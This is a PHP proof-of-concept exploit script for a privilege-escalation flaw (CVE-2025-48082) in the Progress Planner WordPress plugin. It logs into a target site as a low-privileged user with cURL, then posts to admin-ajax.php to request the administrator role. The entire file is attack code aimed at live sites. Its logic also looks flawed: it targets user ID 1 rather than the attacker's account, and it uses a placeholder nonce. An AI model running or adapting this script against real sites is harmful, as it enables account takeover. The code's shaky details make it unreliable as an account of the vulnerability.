<?php
/**
* CVE-2025-48082 - Progress Planner Privilege Escalation PoC
* Vulnerability: Incorrect Privilege Assignment (CWE-266)
* Affected: Progress Planner <= 1.8.0
*
* This PoC demonstrates the privilege escalation vulnerability
* where a low-privileged user can escalate to administrator.
*/
// Target WordPress site URL
$target_url = 'https://target-wordpress-site.com';
// Low-privileged user credentials (e.g., subscriber role)
$username = 'subscriber_user';
$password = 'user_password';
// Step 1: Login as low-privileged user and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$cookies = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to'=> $target_url . '/wp-admin/',
'testcookie' => 1
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Exploit the privilege escalation via vulnerable plugin endpoint
// The Progress Planner plugin exposes an AJAX action that lacks proper capability checks
$exploit_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'progress_planner_update_role', // Vulnerable AJAX action
'user_id' => 1, // Target admin user ID
'role' => 'administrator', // Escalate to administrator
'_wpnonce' => 'bypass_or_obtained_nonce' // Nonce value
)));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
echo "Exploit result: " . $result . "\n";
if (strpos($result, 'success') !== false) {
echo "Privilege escalation successful! User now has administrator access.\n";
} else {
echo "Exploit may have failed or requires adjustment.\n";
}
?>